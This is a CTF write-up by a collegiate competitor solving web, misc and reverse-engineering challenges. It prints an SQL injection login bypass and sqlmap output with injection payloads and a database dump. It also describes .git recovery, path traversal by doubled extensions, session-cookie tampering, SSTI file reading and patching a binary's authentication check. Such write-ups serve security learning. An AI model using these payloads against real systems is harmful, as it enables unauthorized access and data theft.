This three-day CTF was a lot of fun, and somewhat bittersweet as this is my last competition under the banner of CCSO. After four years and over 25 collegiate competitions I’m happy to end things with a strong finish.
I’ve detailed solutions to some of the challenges I tackled during this competition - I mostly focused on web, misc, and reverse engineering this time around.
Web
Breaking Authentication
Challenge description:
1
"Say my username."
We’re given a site to checkout with a simple login page.
I tried logging in with some basic default credentials with no success - so I pivoted to attempting SQL injection.
I was able to bypass authentication and login with the following payload:
1 2
username: admin password: ' OR '1
That got me access to the super advanced and not at all helpful admin panel.
Using burp, I saved a copy of my login request to toss into sqlmap.
Next I used that request to enumerate databases with sqlmap.
sqlmap -r ~/Documents/cit25/sqli --batch --dbs ___ __H__ ___ ___["]_____ ___ ___ {1.9.4#stable} |_ -| . [.] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:04:13 /2025-05-01/ [00:04:13] [INFO] parsing HTTP request from '/home/lfgberg/Documents/cit25/sqli' [00:04:13] [INFO] resuming back-end DBMS 'mysql' [00:04:13] [INFO] testing connection to the target URL got a 302 redirect to 'http://23.179.17.40:58001/admin.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: username=admin' AND 9168=9168#&password=' OR '1&login=Login Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=admin' AND (SELECT 7326 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(7326=7326,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TkwK&password=' OR '1&login=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 4577 FROM (SELECT(SLEEP(5)))YJnE)-- cGNc&password=' OR '1&login=Login --- [00:04:13] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.2.28, Apache 2.4.63 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [00:04:13] [INFO] fetching database names [00:04:13] [INFO] resumed: 'information_schema' [00:04:13] [INFO] resumed: 'app' [00:04:13] [INFO] resumed: 'mysql' [00:04:13] [INFO] resumed: 'sys' [00:04:13] [INFO] resumed: 'performance_schema' available databases [5]: [*] app [*] information_schema [*] mysql [*] performance_schema [*] sys [00:04:13] [INFO] fetched data logged to text files under '/home/lfgberg/.local/share/sqlmap/output/23.179.17.40' [*] ending @ 00:04:13 /2025-05-01/
Next I used the same request to dump the app database which revealed the flag.
sqlmap -r ~/Documents/cit25/sqli --batch -D app --dump ___ __H__ ___ ___["]_____ ___ ___ {1.9.4#stable} |_ -| . [.] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 00:05:39 /2025-05-01/ [00:05:39] [INFO] parsing HTTP request from '/home/lfgberg/Documents/cit25/sqli' [00:05:39] [INFO] resuming back-end DBMS 'mysql' [00:05:39] [INFO] testing connection to the target URL got a 302 redirect to 'http://23.179.17.40:58001/admin.php'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: username=admin' AND 9168=9168#&password=' OR '1&login=Login Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=admin' AND (SELECT 7326 FROM(SELECT COUNT(*),CONCAT(0x71717a6a71,(SELECT (ELT(7326=7326,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TkwK&password=' OR '1&login=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=admin' AND (SELECT 4577 FROM (SELECT(SLEEP(5)))YJnE)-- cGNc&password=' OR '1&login=Login --- [00:05:39] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.2.28, Apache 2.4.63 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [00:05:39] [INFO] fetching tables for database: 'app' [00:05:39] [INFO] resumed: 'secrets' [00:05:39] [INFO] resumed: 'users' [00:05:39] [INFO] fetching columns for table 'secrets' in database 'app' [00:05:39] [INFO] resumed: 'name' [00:05:39] [INFO] resumed: 'varchar(255)' [00:05:39] [INFO] resumed: 'value' [00:05:39] [INFO] resumed: 'varchar(255)' [00:05:39] [INFO] fetching entries for table 'secrets' in database 'app' [00:05:39] [INFO] resumed: 'flag' [00:05:39] [INFO] resumed: 'CIT{36b0efd6c2ec7132}' Database: app Table: secrets [1 entry] +--------+-----------------------+ | name | value | +--------+-----------------------+ | flag | CIT{36b0efd6c2ec7132} | +--------+-----------------------+
Commit & Order: Version Control Unit
Challenge description:
1
"In software development, the repository is represented by two separate yet equally important branches..."
Checking out the website we’re provided with an uninteresting login panel.
I used gobuster to fuzz for content and found the .git directory.
We’re getting a 403 here - but we can still try to recover the git repository. A .git directory contains commit history, packed references, etc. and can be used to recover an entire git repository. I used the tool git-dumper to recover the contents of the repo.
<divclass="main-content"> <divclass="warning-banner"> <svgwidth="24"height="24"fill="currentColor"viewBox="0 0 24 24"> <pathd="M1 21h22L12 2 1 21zm12-3h-2v2h2v-2zm0-8h-2v6h2v-6z" /> </svg> This admin panel is under construction. No actual functionality is available yet. But here, have this: Q0lUezVkODFmNzc0M2Y0YmMyYWJ9 </div>
<divclass="card"> <h3>System Overview</h3> <pclass="placeholder-text">This section will show system metrics and server status.</p> </div>
<divclass="card"> <h3>Recent Activity</h3> <pclass="placeholder-text">User and system activity logs will appear here.</p> </div>
<divclass="card"> <h3>Manage Interfaces</h3> <pclass="placeholder-text">Interface management tools will be added in future updates.</p> </div> </div> </body>
How I Parsed your JSON
Challenge description:
1 2 3
"This is the story of how I defined your schema."
The flag is in secrets.txt
For the first time, we have something other than a login page to look at!
This app reads data from .json files in a specific directory - while stripping file extensions. It gives us a handful of files such as employees to read from, and we’re able to use “SQL-like syntax”.
I sent an example request to read all the content from employees.json.
I started fuzzing at the container parameter to see what other files we could read. I started by testing out absolute paths.
We’re able to read the content of /etc/hosts - presumably because it doesn’t have an extension.
If we add .json to our query - it’s removed.
If we add two file extensions such as .json.json, only the second is removed. We can use this to access the flag in secrets.txt by querying secrets.txt.json if we’re able to find the path.
It wasn’t in the root directory, or any common web directory. I got pretty stumped trying to find this thing - so i read the following files to get more info:
functiongetRandomResponse() { const responses = [ "Huh?", "What?", "I don't understand.", "Could you repeat that?", "I didn’t catch that.", "I'm not sure about that.", "Could you explain again?", "Sorry, I missed that.", "Not sure what you mean.", "I’m not following.", "Can you say that again?", ]; const randomIndex = Math.floor(Math.random() * responses.length); return responses[randomIndex]; }
functiongenerateBotResponse(userMsg) { const lower = userMsg.toLowerCase(); if (lower.includes('flag')) { return`Everyone asks what is the flag, but how are you doing. ☹️`; } elseif (lower.includes('how are you')) { return`Thanks ${userName}! I'm doing great 😄`; } else { returngetRandomResponse(); } }
Other than seeing our reflected username, nothing here is useful to us. I fuzzed for content but didn’t find anything else on the site.
Digging into our login request we can see what looks like a JWT get assigned.
Decoding that it’s not actually a JWT - but it’s a flask session cookie. the first portion is base64 - decoding it we can see the following payload:
1 2 3 4
{ "admin":"0", "name":"3*3" }
Well naturally we want to be admin. let’s try again asking politely.
Appending admin=1 to our login request gives a drastically different session cookie, decoding it shows the following payload:
Comparing these two uid values we can see that the username is reflected before the blob of data. But when we entered the SSTI payload {{3*3}}9 was reflected instead. This indicates that our payload successfully evaluated. We can run with this to try and read the flag based on the uid value.
I was able to use a URL-Encoded version of this payload to grab /etc/passwd - proving that we can read files:
functioncalculate(num1,num2,operator) if operator == "+"then return num1 + num2 elseif operator == "-"then return num1 - num2 elseif operator == "*"then return num1 * num2 elseif operator == "/"then if num2 == 0then return"Error: Division by zero is not allowed." else return num1 / num2 end else return"Error: Invalid operator." end end
io.write("Enter the first number: ") local input1 = io.read() local number1 = tonumber(input1) ifnot number1 then print("Invalid input. Please enter a valid number.") os.exit(1) end
io.write("Enter an operator (+, -, *, /): ") local operator = io.read()
io.write("Enter the second number: ") local input2 = io.read() local number2 = tonumber(input2) ifnot number2 then print("Invalid input. Please enter a valid number.") os.exit(1) end
local result = calculate(number1, number2, operator)
print("Result: " .. tostring(result)) [SNIPPED]
It looks like a pretty normal Lua file, but at the bottom there’s a lot of whitespace. Highlighting it in a text editor reveals a hidden message:
This definitely looks like something. Digging around online I was able to find this decoder for a whitespace language which spits out the flag.
Malware Analysis
Challenge description:
1
I got this file here and I think it might be malware but I'm not sure hopefully u can figure it out!!!
We’re given a binary to check out. I didn’t see any interesting strings, and running it in a VM also didn’t prove to be interesting - so I decided to throw it into Virus Total.
Here we can see that it’s been submitted previously with the flag as the name.
Rev
Ask Nicely
Challenge description:
1
I made this program, you just have to ask really nicely for the flag!
We’re presented with an ELF binary to poke at. This challenge was super simple, I just ran strings on the binary and found the following interesting strings:
1 2 3 4 5
pretty pretty pretty pretty pretty please with sprinkles and a cherry on top How badly do you want the flag? Ask nicely... Good job, I'm so proud of you! that's not quite what I'm lookng for.
If we run the binary it prompts to see how badly we want the flag. I entered the phrase from strings and it happily spat it out.
1 2 3 4 5 6 7
./asknicely How badly do you want the flag? pretty pretty pretty pretty pretty please with sprinkles and a cherry on top Ask nicely... pretty pretty pretty pretty pretty please with sprinkles and a cherry on top Good job, I'm so proud of you! CIT{2G20kX09yF3F}
Read Only
Challenge description:
1
Here we go!
We’re presented with another ELF binary. This challenge was also strings-able.
Password Manager
Challenge description:
1
This custom password manager should keep all my accounts super secure!
This one got interesting. Digging into the binary we can see that it’s a password manager which presents four options: log in, log out, read password, save password.
Trying to use it to read the flag we’re presented with an authorization error.
Welcome to my password manager! Please select an option below ========================= 1. log in 2. log out 3. read a password 4. save a password ========================= 1 Welcome to my password manager! Please select an option below ========================= 5. log in 6. log out 7. read a password 8. save a password ========================= 3 Account name: flag flag password: ERROR_NOT_AUTHENTICATED
Trying to login doesn’t work. I threw this into Binja/Ghidra to take a closer look.
We can see a reference to the user Ronnie, we need to be authenticated as Ronnie in order to access any of the passwords.
I was able to patch the binary to bypass the authentication checks, when I’d select login I was greeted with my Linux username. This clued me in to the fact that the binary was checking to see if the user account running the binary was named ronnie.
I made a new user on my box named ronnie, and ran the binary. I had to do this actually logged in as Ronnie for it to work, I couldn’t just su ronnie.
From here we can login, read Ronnie’s password, and read the flag with the patched version of the binary!